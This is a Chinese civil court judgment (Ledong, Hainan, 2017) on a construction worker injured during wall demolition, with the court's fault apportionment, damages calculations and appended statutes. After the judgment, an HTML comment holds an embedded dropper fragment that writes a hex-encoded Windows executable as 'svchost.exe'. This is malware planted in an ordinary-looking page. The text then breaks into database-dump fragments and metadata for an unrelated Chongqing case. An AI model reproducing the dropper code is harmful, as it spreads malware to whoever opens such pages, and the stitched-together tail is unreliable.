海南省乐东黎族自治县人民法院
p t ; ” > 民 事 判 决 书
(2017)琼9027民初121号
原告：林桥，男，1977年11月5日出生，汉族，住海南省乐东黎族自治县。公民身份号码：×××。
委托诉讼代理人：高杰，海南瑞伊律师事务所律师。执业证号：×××。
被告：林少孔，男，1987年1月2日出生，汉族，住海南省乐东黎族自治县。公民身份号码：×××。
被告：高生柯，男，1968年10月10日出生，汉族，住海南省定安县，公民身份证码：×××。（到庭）
被告：海南龙栖湾发展置业有限公司。住所地乐东黎族自治县九所镇中灶村龙栖湾开发区波波利海岸。
法定代表人：闫利明，该公司董事长。
委托诉讼代理人：聂友峰，海南信容慈律师事务所律师。执业证号：×××。
委托诉讼代理人：张彪，海南信容慈律师事务所律师。执业证号：×××。
原告林桥与被告林少孔、高生柯、海南龙栖湾发展置业有限公司提供劳务者受害责任纠纷一案，本院于2017年1月19日立案后，依法适用简易程序，公开开庭进行了审理。审理过程中，原告因伤残问题向本院申请对其伤残程度、营养期、误工期、护理期、后续治疗费、康复费用进行司法鉴定，本院予以准许，并于2017年3月31日进入司法鉴定程序，于2017年8月20日终结本案司法鉴定。本案于2017年8月28日公开开庭进行了审理。原告林桥及其委托诉讼代理人高杰、被告林少孔、高生柯、海南龙栖湾发展置业有限公司的委托诉讼代理人张彪到庭参加诉讼。本案现已审理终结。
原告林桥向本院提出诉讼请求：1、判令三被告连带赔偿原告损失暂计为68550元（其中医药费6330元、住院伙食补助费2400元，暂计误工费13383元、护理费9323元、伤残赔偿金21716元、营养费8400元、交通费500元、精神损害抚慰金5000元，后续治疗费、康复费用以及因此产生的误工期、护理期、营养期暂计15000元）；2、三被告承担本案全部诉讼费用。事实和理由：2015年6月初，被告海南龙栖湾发展置业有限公司因开发建设需要，对自己卡法罗盘需要装修，被告高生柯和林少孔承包了该工程，林少孔雇请原告参加工作。6月13日，原告在进行拆除墙体时，因施工设施安全不足，导致墙体倒塌，砸伤了原告的左膝盖及左踝关节。当日，原告被送到三亚市四五二医院住院治疗。医院诊断为1、左胫腓骨开放性骨折；2、左胫前动脉断裂；3、左足长伸肌腱断裂。6月23日在腰麻下行”左胫骨骨折切开复位内固定术”。在原告住院治疗期间，被告支付医疗45000元。原告因经济困难，无钱继续治疗，伤势稍微好转，就不得不于2015年7月7日出院，共住院24天。出院医嘱为：1、注意休息，加强营养；2、患肌2个月内避免负重，具体负重根据复查结果而定；3、继续加强左膝及左踝关节屈伸功能锻炼；4、定期每月门诊复诊，不适随诊。原告住院共24天，发生医疗费为51330.41元，则住院伙食费补助费为100元/24天=2400元。但是原告在出院时并非痊愈，需要继续护理，出院后遵医嘱一直休息。根据海南省交警总队发布的《2015-2016海南省道路交通事故人身损害赔偿标准》各行业年收入为（一）农、林、牧、渔业：27748元；（五）建筑业：39829元；根据《2015年海南省国民经济和社会发展统计公报》农村常住居民人均可支配收入为10858元。则，被告应当支付的医疗费51330.41-45000=6330（元）原告误工费暂以80天计（以评估为准）为：39829元/年250天（年工作日）x84天=13383元；护理费暂以80天计（以评估为准）为：27748元/年250天（年工作日）x84天=9323元；原告左腿已明显构成伤残，暂以十级计（以评估为准）则为10858x20x10%=21716元；营养费以每天100天，暂以84天计（以评估为准）则为100x84=8400元；因发生本次事故发生，交通费为500元；精神损害抚慰金暂按十级伤残计为5000元；现原告还需拆除固定钢板，则后续治疗费、康复费用以因此产生的误工期、护理费、营养费暂计为15000元（以评估为准）以上共计68552元。根据最高人民法院《关于审理人身损害赔偿案件适用法律若干问题的解释》第十一条规定”雇员在从事雇佣活动中遭受人身损害，发包人、分包人知道或者应当知道接受发包或者分包业务的雇主没有相应资质或者安全生产条件的，应当与雇主承担连带赔偿责任。”因此，对给原告造成的各种损失，三被告应当承担连带赔偿责任。现根据司法鉴定结果，原告变更并确认本案诉讼请求：1、判令三被告连带赔偿原告损失暂计为236709元（其中医药费6330元、住院伙食补助费2400元、误工费69414元、护理费10633元、伤残赔偿金47432元、营养费9000元、交通费500元、精神损害抚慰金20000元，第一次拆除固定钢板费用50000元、第二次拆除钢板费用9000元、康复费用12000元）；2、三被告承担本案一切诉讼费用。
原告为了证明己方主张，向本院提供以下证据材料（按庭审举证顺序）:1、《仲裁裁决书》，证明：1）原告在被告三工地上受伤的事实；2）被告三将其工程违法发包给被告一、被告二的事实；3）原告受雇佣于被告一、被告二的事实。2、住院病历、出院证、诊断证明，证明：1）原告受伤住院的事实；2）原告构成伤残的事实；3）住院医嘱是注意休息，加强营养，加强左膝左踝关节的训练。3、425医院门诊发票、住院发票、费用清单，证明原告在住院期间共产生医疗费51330.41元。4、交通费票据，证明原告的交通费损失500元。
原告为了证明其伤残程度、营养期、误工期、护理期、后续治疗费、康复费用，向本院申请司法鉴定的证据有：三亚市人民医院法医鉴定中心作出的编号三医司鉴[2017]临鉴字第A63号《司法鉴定意见书》。
被告林少孔辩称，一、答辩人和原告同是被告海南龙栖湾发展置业有限公司和高生柯雇佣的拆除作业人员，答辩人与原告不形成劳务雇佣关系，依法不是承担责任的主体。原告起诉要求答辩人承担其人身损害的连带责任赔偿责任，是及不公正、不合理的，事实是，2015年6月初，因被告海南龙栖湾发展职业有限公司需要将某些被征用的房屋拆除，被告海南龙栖湾发展职业有限公司和高生柯就雇佣答辩人和原告到工地拆除作业，高生柯是承包人，待工作完成后负责发放原告和答辩人的工资。作业当天，答辩人因有事临时请假，没有参与当天的拆除作业，后来听说是原告在工地出事了，原因是他拆除墙体时，被原不符合安全标准的违建墙梁掉落砸到了腿部。事故发生后，被告高生柯一直说这事是由他和公司负责的，一切和答辩人及原告无关，因为原告和答辩人都属于被雇佣的临时作业人员，出了事是他们雇主的事。所以，在原告住院和提起劳动仲裁期间，这事一直由被告海南龙栖湾发展置业有限公司和高生柯打理，答辩人也不必参与他们的纠纷，现原告起诉要求答辩人承担所谓的连带责任，完全没有事实根据：第一，答辩人和原告都同属是被雇佣进行拆除作业的人员，没有任何工作上的劳务隶属关系；第二，拆除作业使用的铁锤、铁铲等工具，都是各人自备，答辩人并没有提供任何设备工具，如出现失误也自担责任；第三，事故发生当日，答辩人因事请假并不参与拆除作业，是被告高生柯现场指挥原告进行拆除。所以，原告所受人身损害和答辩人毫无一点关系，答辩人依法不是承担责任的主体。二、答辩人对原告所受人身损害不存在因果关系和过错的行为，赔偿责任应由被告高生柯和海南龙栖湾发展置业有限公司及原告本人承担。于原告所受的人身损害，与答辩人不存在因果关系，答辩人也没有任何过错的行为直接导致原告受伤。因此，原告起诉答辩人，要求和其他被告一起承担连带责任不具有《侵权责任法》第8、10、11条的规定情形，故原告要求答辩人担责是没有法律依据的。况且，事故发生后，被告海南龙栖湾发展置业有限公司和高生柯已经自行担责并支付45000元医疗费用给原告，原告和答辩人在此事故之前也曾被一同雇请去参加过拆迁作业，但每次两人得到的工作酬金都是一样的，也证明原告和答辩人其实同属是被雇佣人的身份而已。由此可见，他们之间形成的劳务雇佣关系是非常明确的。根据《侵权责任法》第35条：”个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，根据双方各自的过错承担相应的责任。”可知，原告的人身损害赔偿责任应由现场进行指挥作业的被告高生柯和海南龙栖湾发展置业有限公司及原告本人各自分担，依法与答辩人没有任何法律责任关系，原告起诉答辩人是嫁祸于人的恶意诉讼行为。综上所述，原告和答辩人不形成劳务雇佣关系，原告所受损失与答辩人之间没有因果关系，答辩人用作为被雇用人不存在过错的行为，也不应承担连带赔偿责任的适格主体，请求人民法院查清本案的事实，作出公正的裁判，认定答辩人无责任，以维护答辩人的合法权益。
被告林少孔为了证明己方主张，向本院提供的证据材料为:《证明书》，证明同原告一起干活的工人及被告一是搞被告二承包的工程，证明书上的签名都是一起工作的工人。
被告高生柯辩称，一、被答辩人（原告）之伤害赔偿应当由海南龙栖湾发展置业有限公司、林少孔、高生柯及原告共同承担。其理由为：海南龙栖湾发展置业有限公司为搞好龙栖湾、国际康乐度假庄园拆筑工程于2015年6月6日，被告人高生柯与海南龙栖湾发展置业有限公司承包该工程之后，被告人高生柯将该工程以80个工程日计算，每天200元/人，另加1000元承包给另一被告林少孔，共计17000元。林少孔组织工人拆除该工程的杂物。林少孔每天以150元发给工人工资，共计70个工作日完成该工程。在工程过程中，承包人林少孔没有在现场，由四个工人拆除墙体，墙体倒后，墙体的环保砖碰到地后，环保砖由地面炸到原告林桥的左足上，造成原告林桥受伤。原告林桥受伤后，被告人高生柯积极组织救治，呼120车，从工地送到三亚市425医院进行治疗，并附医药费。可是到医院后，当天医院没有电进行手术，导致该原告林桥在第10天后进行手术，共住院24天。被告人高生柯以人道主义出发，从120车送到医院治疗，被告人高生柯全部出资医治，并主动给原告林桥生活费2000元。出院时原告林桥将所剩的医药费10821.59元自己私吞。被告人高生柯出资如下：120车费1300元，门诊费医药费424元，住院45000元，生活费2000元，合计48724元。但是该工地承包人负债人被告林少孔没有出资一分钱治疗。被告人高生柯，海南龙栖湾发展置业有限公司只能为连带责任。但该原告人林桥在工作过程中，没有注意安全工作，四人作业，仅为一个受伤，原告人林桥也负一定的责任。二、由原告林桥提出的医疗费异议。1、医疗费：已由被告人高生柯全部出资，并剩余10821.59元为原告林桥私吞，没有存在6330元。2、原告林桥的误工费：以84天计算，原告人林桥并不是建筑工人，没有建筑工人上岗证，是一个农村人的农民工，应以2778元/年收入计算，每天以76元为标准，76元x84天=6384元。3、护理费：为76元x24天=1824元。4、伙食费：按规定为24天x50元=1200元。5、交通费：应以车票为标准（注：九所到三亚每人车票20元一张）。6、伤残费：被告人高生柯认为原告林桥的伤残时原告人林桥在养伤过程没有注意休息，经常早出晚归，自己摔伤，导致原左足的钢板断裂，左足现在形成L形，造成现在的伤残，责任应由原告人林桥自己付全部责任。7、精神损害费：不属于工伤事故，没有该项。8、原告人林桥私吞被告人高生柯10821.59元已经到后期取钢板的手术费，手术费大约7000元。9、原告人林桥住院所产生的34178.41元的医疗费回到乐东再进行第二次报销，报销金额为50%，应以15000元以上。15000元也可以为原告人林桥到医院取钢板的费用。现在自己摔伤，造成左足形成L形，所产生的后果应由原告林桥负担一切责任。综合以上情况，原告人林桥是被告林少孔承包工程的工人，该事故应由被告林少孔负主要责任。被告高生柯海南龙栖湾发展置业有限公司只能负连带次要责任。原告人林桥在工作过程中，没有注意作业，也有一定的责任。原告人林桥出院后自己摔伤，造成左足形成L形，形成的后期的医疗费用应由自己负责，请求人民法院查明事实，作出公正的裁判。
被告高生柯为了证明己方主张，向本院提供的证据材料为:《龙栖湾·国际康乐度假庄园76亩地块围墙砌筑施工合同》，证明原告在事故发生后，被告二与被告三才签订的承包合同，被告三应当承担连带责任。
被告海南龙栖湾发展置业有限公司辩称，1、事实上，首先，原告的陈述与客观事实不符，被告三只是将部分工程发包给被告二来制作，并没有将工程发包给被告一，被告三从始至终都没有与被告一有过接触，也不认识被告一，对于被告二将所承包的工程在分包给被告一这个事情，被告三并不知情，也没有得到被告三的同意。其次，原告诉称被告三的工地上施工的时候受伤，对于这个事实被告三并不知情，因此，原告应当举证来证明原告是否在被告三的工地上工作时受伤，原告在诉状中有提到被告支付医疗费45000元，被告三从未向原告支付过任何的费用。综上，如果原告能够举证证明他是在被告三的工地上进行施工的时候受伤，那么他应当向被告二以及被告一主张权利，与被告三没有关系，因为原告他是被告二直接雇佣的工人，而被告一从被告二处所分包来的工程，这个分包行为并不同意，也不知情。所以，原告诉求被告三承担法律责任，缺乏法律依据和事实根据。2、针对原告诉求的各项金额进行答辩，原告的第一项医疗费6330元所依据的医疗发票是三亚市四二五医院的票据，这个票据可以反映出来，原告预付的医疗费是45000元，这笔款项是被告二支付的。个人部分支付的部分是34178.41元，医院退还原告10821.59元，也就是说被告二支付给原告的赔偿费用还剩余10821.59元。因此，原告没有医疗费的损失，对于这项诉求不能得到支持。对于住院伙食补助费，每天按照50元的标准来计算。误工费应当是参照相关行业的平均收入来除以365天，而不是除以250天来计算每天的误工标准。护理费是应当按照相关行业的收入来除以365天。残疾赔偿金以鉴定为主。营养费8400元，主张过高。交通费500元，应当提供实际的票据来证明有交通费用的损失。精神抚慰金以鉴定为准。后续治疗费还没有实际产生，法院不应当支持。康复费没有法律依据。综上，被告三在事实上不应承担连带责任，在原告的诉求上部分主张过高。
被告海南龙栖湾发展置业有限公司未向本院提供证据材料。
本院经审理认定事实如下：对当事人没有争议的事实，本院予以确认。当事人的讼争焦点为：（1）、原告与三被告之间有无存在雇佣关系；（2）、原告要求三被告承担民事赔偿责任是否应予以支持；（3）原告主张三被告连带赔偿其各项损失及相应金额的诉讼请求理由是否成立。对当事人双方有争议的证据和事实，本院认定如下：一、被告林少孔对原告提供证据1有异议，认为自己是被告二雇佣，与证据里面的事实不符，对证据2、3、4及原告申请本院司法鉴定即《司法鉴定意见书》的真实性、合法性、关联性无异议；被告高生柯对原告提供证据1、2、3的真实性、合法性、关联性无异议，对证据4交通费认为车票编号均为连号，是同一天乘坐的车持有异议，对原告申请本院司法鉴定即《司法鉴定意见书》认为原告伤势未痊愈，鉴定结果不符合法律规定，要求重新鉴定；被告海南龙栖湾发展置业有限公司对原告提供证据1的真实性、合法性、关联性没有异议，对证明内容有异议，认为不能够证明被告三将工程发包给被告一，相反，裁决书记载的是被告二分包工程给被告一，与被告三无关，对证据2、3及原告申请本院司法鉴定即《司法鉴定意见书》的真实性、合法性、关联性没有异议，对证据4真实性有异议，认为车票编号均为连号。经审查，原告提供证据1系其申请乐东黎族自治县劳动人事争议仲裁委员会所作出的驳回原告的仲裁请求，能够反映案件真实情况，本院予以采信；证据2、3及原告申请本院司法鉴定即《司法鉴定意见书》来源、形式符合法律规定，并与本案争议焦点问题有关联，本院予以采信；被告高生柯当庭提出对《司法鉴定意见书》重新鉴定申请，未在本院指定的期限内提出书面鉴定申请，视为其放弃申请鉴定权利；证据4交通费出现编号连号，部分缺乏真实性，可综合本案其他证据及原告在本次事故治疗实际情况酌情认定。二、原告对被告林少孔提供《证明书》的三性无异议，但认为该证明书上签名的证人都认识，原告也是被告林少孔一起请的工人；被告高生柯对被告林少孔提供《证明书》有异议，认为对该证明书上签名的证人表示不认识，只认识被告林少孔；被告海南龙栖湾发展置业有限公司对被告林少孔提供的《证明书》表示相关证人未出庭作证，不予认可。经审查，《证明书》所载明内容实为证人证言，经释明，被告林少孔未申请其证人出庭作证，故本院不予采信。三、原告对被告高生柯提供《龙栖湾·国际康乐度假庄园76亩地块围墙砌筑施工合同》的真实性、证明内容无异议，但认为被告海南龙栖湾发展置业有限公司是违法发包；被告林少孔对该证据的真实性、合法性、关联性均无异议；被告海南龙栖湾发展置业有限公司对该证据真实性表示无法确定，但认为该合同并没有体现被告海南龙栖湾发展置业有限公司将工程直接分包给被告林少孔，而是由被告高生柯擅自分包给被告林少孔，分包行为被告公司不予认可，不能作为认定被告公司承担连带责任的依据。经审查，该合同能够反映案件的真实情况，来源和形式符合法律规定，并与本案焦点问题有关联，本院予以采信。综上采信的证据，结合当事人的陈述，本院确认如下法律事实：被告海南龙栖湾发展置业有限公司因其龙栖湾国际康乐度假庄园工程需发包围墙给被告高生柯施工。被告高生柯由此在2015年6月自行雇佣包括原告在内的相应工人进场对该工程进行施工，同年6月13日，原告在拆除墙体过程中，不慎墙体倒塌砸伤原告左膝盖及左踝关节，被告林少孔、高生柯得知后，将原告送往三亚市中国人民解放军四二五医院治疗，住院期间，被告高生柯向医院预交原告医疗费45000元，原告于2015年7月7日出院，共花费医疗费51330元。另查明，2015年12月1日，被告高生柯与被告海南龙栖湾发展置业有限公司签订《龙栖湾·国际康乐度假庄园76亩地块围墙砌筑施工合同》，约定被告海南龙栖湾发展置业有限公司将其龙栖湾国际康乐度假庄园76亩地块围墙砌筑工程以包工包料方式发包给被告高生柯施工，并约定承包人应采取措施确保安全文明施工...自行解决工人食宿问题，负责处理施工过程中因自身原因造成的财产和人身伤害事故，如发包人对上述事宜已赔偿或修复的，发包人有权在支付承包人的工程进度款、结算款等款项时扣除发包人因此所支出的赔偿金、补偿金、罚款、诉讼费、律师费等全部款项...承包人未经发包人书面同意，擅自将本工程转包或分包给第三人，发包人有权通知承包人停工、撤离现场，并有权单方解除合同...。此后，原告以劳务造成其损害为由，起诉本院。
本院认为，根据《中华人民共和国侵权责任法》第三十五”个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，由接受劳务一方承担侵权责任。提供劳务一方因劳务自己受到损害的，根据双方各自的过错承担相应的责任。”规定，本案中，关于各方当事人之间的法律关系问题。被告高生柯与被告海南龙栖湾发展置业有限公司系涉案工程施工的承包关系，从其合同约定的工程量、权利义务等内容来看，在合同订立前，对于被告预先雇佣工人并实际进入施工的事实表明，被告海南龙栖湾发展置业有限公司亦未提出异议。根据当事人的陈述及日常生活经验法则推定，被告高生柯在雇佣被告林少孔的同时，被告林少孔也有向被告高生柯提供包括原告在内的相应工人进入工地进行施工，并支付了相应的报酬。可见，被告林少孔的工作不属于法律法规界定的建筑工程，从行业惯例和普遍性社会实践而言，被告林少孔与被告高生柯之间的关系更符合雇佣关系，之间虽没有签订书面劳动合同，但双方已经形成事实上个人之间的劳动合同关系，其劳动合同关系不违反我国法律的强制性规定，合法有效，当事人应依法享有权利，并承担和履行相应义务。而被告林少孔与原告的关系，系被告林少孔收到被告高生柯支付的相应报酬后，由被告林少孔支付包括原告在内的其他人，是雇佣关系之外的他人之间的关系。质证中，被告高生柯提出与被告林少孔之间对涉案工程有分包关系，且口头协议的辩解意见，仅凭口述，未能提供相应证据加以证明，而且被告林少孔持有异议，被告高生柯对此承担对其不利的法律后果。
关于各方当事人的责任比例问题。原告作为雇佣关系之外的他人，在生产过程中未尽到安全生产的注意义务，自身亦有一定过错，应自负20％的赔偿责任。被告林少孔作为提供劳务一方，应酌情承担10％的赔偿责任。被告高生柯作为雇主，在未采取确保安全措施的情况下，让无实际工作经验的工人对涉案工程进行施工，应承担40％的赔偿责任。被告海南龙栖湾发展置业有限公司作为涉案工程的发包方，对于被告高生柯是否具备工程施工资质条件，亦未尽到审查义务，将其龙栖湾国际康乐度假庄园76亩地块围墙砌筑工程发包给被告高生柯并签订了合同，有一定过错，应承担30％的赔偿责任。
关于原告主张的各项具体赔偿数额，本院确定如下：1、医疗费，应根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。原告受伤后于2015年6月13日往三亚市中国人民解放军四二五医院治疗，2015年7月7日出院，共住院24天，共花医疗费51330元，扣除被告高生柯垫付的45000元，余款6330元，本院予以支持；2、误工费，根据原告的误工时间和收入状况，结合三亚市人民医院法医鉴定中心作出的编号三医司鉴[2017]临鉴字第A63号《司法鉴定意见书》评定原告误工期180天确定。原告为海南省农村居民，无固定收入依据，也不能举证证明其最近三年的平均收入状况，可以参照海南省相同或者相近行业上一年度职工的平均工资计算。原告凭九所镇中灶村委会证明书主张自己居住在抱由镇抱由糖厂宿舍，系城镇居民，证据欠缺，且与事实不符，本院不予支持。其误工费为28811元/年÷365天×180天=14208元,原告主张超出部分本院不予支持；3、住院伙食补助费，应参照当地国家机关一般工作人员的出差伙食补助标准，即100元/天，原告的住院伙食补助费为100元/天×24天=2400元，原告主张2400元，本院照准；4、护理费，根据护理人员的收入状况和护理人数、护理期限，结合三亚市人民医院法医鉴定中心作出的编号三医司鉴[2017]临鉴字第A63号《司法鉴定意见书》评定原告护理期90天确定。原告住院期间由其家人（海南省农村居民）护理，没有提供固定收入依据，又未提供当地护工从事同级别护理的劳动报酬标准，其护理费应为28811元/年÷365天×90=7104元，原告主张超出部分本院不予支持；5、营养费，根据原告伤残情况参照医疗机构的意见，以及三亚市人民医院法医鉴定中心作出的编号三医司鉴[2017]临鉴字第A63号《司法鉴定意见书》评定原告营养期90天确定。根据原告的伤情，参照其的出院情况和诊断意见，原告营养费应以50元/天×90天＝4500元为宜，原告主张超出部分本院不予支持；6、残疾赔偿金，根据原告丧失劳动能力程度或者伤残等级，按照海南省上一年度农村居民人均可支配收入标准，自定残之日起按二十年计算。参照三亚市人民医院法医鉴定中心作出的编号三医司鉴[2017]临鉴字第A63号《司法鉴定意见书》评定原告为九级伤残。其残疾赔偿金为10858元/年×20年×伤残系数20%=43432元，原告主张超出部分本院不予支持；7、后续治疗费，根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。三亚市人民医院法医鉴定中心作出的编号三医司鉴[2017]临鉴字第A63号《司法鉴定意见书》评定原告第一次拆除固定＋植骨＋骨折内固定术约需40000-50000元；第二次拆除内固定物约需8000-9000元；术后康复费预计12000元。原告主张第一次50000元、第二次9000元、术后康复费预计12000元，本院照准；8、交通费，根据原告及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。原告主张交通费500元的诉讼请求所依据的票据编号产生连号，其真实性存有疑点，但是实际发生的费用，其交通费以200元为宜，原告主张超出部分本院不予支持；9、精神损害抚慰金，本次事故造成原告九级伤残的后果，给原告带来一定精神损害，也给原告家庭整体减少一定家庭收入，据此，根据原、被告的实际情况，综合考虑各种因素，原告的精神损害抚慰金酌情补偿5000元为宜，过多部分，本院不予支持。综上，原告上述各项赔偿数额合计154174元＋45000元（被告高生柯已垫付医疗费）＝199174元。该赔偿金额199174元由原告自负20％的赔偿责任为39835元，被告林少孔承担10％的赔偿责任为19917元，被告高生柯承担40％的赔偿责任为79670元－45000元（被告高生柯已垫付医疗费）＝34670元，被告海南龙栖湾发展置业有限公司承担30％的赔偿责任为59752元。
综上所述，依照《中华人民共和国侵权责任法》第三十五条、《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》第十七条、第十八条、第十九条、第二十条、第二十一条、第二十二条、第二十三条、第二十四条、第二十五条、最高人民法院关于适用《中华人民共和国民事诉讼法》的解释第九十条、第九十二条规定，判决如下：
一、被告林少孔应于本判决生效之日起十日内一次性赔偿19917元给原告林桥；
二、被告高生柯应于本判决生效之日起十日内一次性赔偿34670元给原告林桥；
三、被告海南龙栖湾发展置业有限公司应于本判决生效之日起十日内一次性赔偿59752元给原告林桥；
四、驳回原告林桥的其他诉讼请求。
如果未按本判决指定的期间履行给付金钱义务，应当依照《中华人民共和国民事诉讼法》第二百五十三条之规定，加倍支付迟延履行期间的债务利息。
本案受理费2241元，由原告林桥负担1114元，被告林少孔负担148元，被告高生柯负担333元，被告海南龙栖湾发展置业有限公司负担646元；鉴定费2700元，由原告林桥负担540元，被告林少孔负担270元，被告高生柯负担1080元，被告海南龙栖湾发展置业有限公司负担810元（原告已付鉴定费2700元，由三被告按其份额直接支付给原告）。
如不服本判决，可以在判决书送达之日起十五日内，向本院递交上诉状，并按照对方当事人的人数提出副本，上诉于海南省第二中级人民法院。
审判员林成雄
二〇一七年八月三十一日
书记员刘少东
附：适用法律条文
《中华人民共和国侵权责任法》
第三十五条个人之间形成劳务关系，提供劳务一方因劳务造成他人损害的，由接受劳务一方承担侵权责任。提供劳务一方因劳务自己受到损害的，根据双方各自的过错承担相应的责任。
《最高人民法院关于审理人身损害赔偿案件适用法律若干问题的解释》
第十七条受害人遭受人身损害，因就医治疗支出的各项费用以及因误工减少的收入，包括医疗费、误工费、护理费、交通费、住宿费、住院伙食补助费、必要的营养费，赔偿义务人应当予以赔偿。
受害人因伤致残的，其因增加生活上需要所支出的必要费用以及因丧失劳动能力导致的收入损失，包括残疾赔偿金、残疾辅助器具费、被扶养人生活费，以及因康复护理、继续治疗实际发生的必要的康复费、护理费、后续治疗费，赔偿义务人也应当予以赔偿。
受害人死亡的，赔偿义务人除应当根据抢救治疗情况赔偿本条第一款规定的相关费用外，还应当赔偿丧葬费、被扶养人生活费、死亡补偿费以及受害人亲属办理丧葬事宜支出的交通费、住宿费和误工损失等其他合理费用。
第十八条受害人或者死者近亲属遭受精神损害，赔偿权利人向人民法院请求赔偿精神损害抚慰金的，适用《最高人民法院关于确定民事侵权精神损害赔偿责任若干问题的解释》予以确定。
精神损害抚慰金的请求权，不得让与或者继承。但赔偿义务人已经以书面方式承诺给予金钱赔偿，或者赔偿权利人已经向人民法院起诉的除外。
第十九条医疗费根据医疗机构出具的医药费、住院费等收款凭证，结合病历和诊断证明等相关证据确定。赔偿义务人对治疗的必要性和合理性有异议的，应当承担相应的举证责任。
医疗费的赔偿数额，按照一审法庭辩论终结前实际发生的数额确定。器官功能恢复训练所必要的康复费、适当的整容费以及其他后续治疗费，赔偿权利人可以待实际发生后另行起诉。但根据医疗证明或者鉴定结论确定必然发生的费用，可以与已经发生的医疗费一并予以赔偿。
第二十条误工费根据受害人的误工时间和收入状况确定。
误工时间根据受害人接受治疗的医疗机构出具的证明确定。受害人因伤致残持续误工的，误工时间可以计算至定残日前一天。
受害人有固定收入的，误工费按照实际减少的收入计算。受害人无固定收入的，按照其最近三年的平均收入计算；受害人不能举证证明其最近三年的平均收入状况的，可以参照受诉法院所在地相同或者相近行业上一年度职工的平均工资计算。
第二十一条护理费根据护理人员的收入状况和护理人数、护理期限确定。
护理人员有收入的，参照误工费的规定计算；护理人员没有收入或者雇佣护工的，参照当地护工从事同等级别护理的劳务报酬标准计算。护理人员原则上为一人，但医疗机构或者鉴定机构有明确意见的，可以参照确定护理人员人数。
护理期限应计算至受害人恢复生活自理能力时止。受害人因残疾不能恢复生活自理能力的，可以根据其年龄、健康状况等因素确定合理的护理期限，但最长不超过二十年。
受害人定残后的护理，应当根据其护理依赖程度并结合配制残疾辅助器具的情况确定护理级别。
第二十二条交通费根据受害人及其必要的陪护人员因就医或者转院治疗实际发生的费用计算。交通费应当以正式票据为凭；有关凭据应当与就医地点、时间、人数、次数相符合。
第二十三条住院伙食补助费可以参照当地国家机关一般工作人员的出差伙食补助标准予以确定。
受害人确有必要到外地治疗，因客观原因不能住院，受害人本人及其陪护人员实际发生的住宿费和伙食费，其合理部分应予赔偿。
第二十四条营养费根据受害人伤残情况参照医疗机构的意见确定。
第二十五条残疾赔偿金根据受害人丧失劳动能力程度或者伤残等级，按照受诉法院所在地上一年度城镇居民人均可支配收入或者农村居民人均纯收入标准，自定残之日起按二十年计算。但六十周岁以上的，年龄每增加一岁减少一年；七十五周岁以上的，按五年计算。
受害人因伤致残但实际收入没有减少，或者伤残等级较轻但造成职业妨害严重影响其劳动就业的，可以对残疾赔偿金作相应调整。
最高人民法院关于适用《中华人民共和国民事诉讼法》的解释
第九十条当事人对自己提出的诉讼请求所依据的事实或者反驳对方诉讼请求所依据的事实，应当提供证据加以证明，但法律另有规定的除外。
在作出判决前，当事人未能提供证据或者证据不足以证明其事实主张的，由负有举证证明责任的当事人承担不利的后果。
第九十二条一方当事人在法庭审理中，或者在起诉状、答辩状、代理词等书面材料中，对于己不利的事实明确表示承认的，另一方当事人无需举证证明。
对于涉及身份关系、国家利益、社会公共利益等应当由人民法院依职权调查的事实，不适用前款自认的规定。
自认的事实与查明的事实不符的，人民法院不予确认。
<!--</div>
DropFileName=”svchost.exe”
WriteData=”4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E002000010000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E804000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000','2018-09-24
09:21:43',0,'web',NULL),(15681211,'6a5685bb-0684-49a9-8abf-a76300bd8e2e','$(function(){$(\"#con_llcs\").html(\"浏览：75次\")});$(function(){var
caseinfo=JSON.stringify({\"法院ID\":\"2450\",\"案件基本情况段原文\":\"\",\"附加原文\":\"\",\"审判程序\":\"一审\",\"案号\":\"（2017）渝0106民初2804号\",\"不公开理由\":\"\",\"法院地市\":\"重庆市第一中级人民法院\",\"法院省份\":\"重庆\",\"文本首部段落原文\":\"\",\"法院区域\":\"\",\"文书ID\":\"6a5685bb-0684-49a9-8abf-a76300bd8e2e\",\"案件名称\":\"沙坪坝区杰胜建材经营部与姚绍彦、重庆盛兆建筑劳务有限公司买卖合同纠纷一审民事裁定书\",\"法院名称\":\"重庆市沙坪坝区人民法院\",\"裁判要旨段原文\":\"\",\"法院区县\":\"沙坪坝区\",\"补正文书\":\"2\",\"DocContent\":\"\",\"文书全文类型\":\"1\",\"诉讼记录段原文\":\"原告沙坪坝区杰胜建材经营部与被告姚绍彦、重庆盛兆建筑劳务有限公司买卖合同纠纷一案，本院于2017年2月10日立案。原告沙坪坝区杰胜建材经营部于2017年4月18日向本院提出撤诉申请\",\"判决结果段原文\":\"\",\"文本尾部原文\":\"\",\"上传日期\":\"\\\/Date(1493308800000)\\\/\",\"案件类型\":\"2\",\"诉讼参与人信息部分原文\":\"\",\"文书类型\":null,\"裁判日期\":null,\"结案方式\":null,\"效力层级\":null});$(document).attr(\"title\",\"沙坪坝区杰胜建材经营部与姚绍彦、重庆盛兆建筑劳务有限公司买卖合同纠纷一审民事裁定书\");$(\"#tdSource\").html(\"沙坪坝区杰胜建材经营部与姚绍彦、重庆盛兆建筑劳务有限公司买卖合同纠纷一审民事裁定书
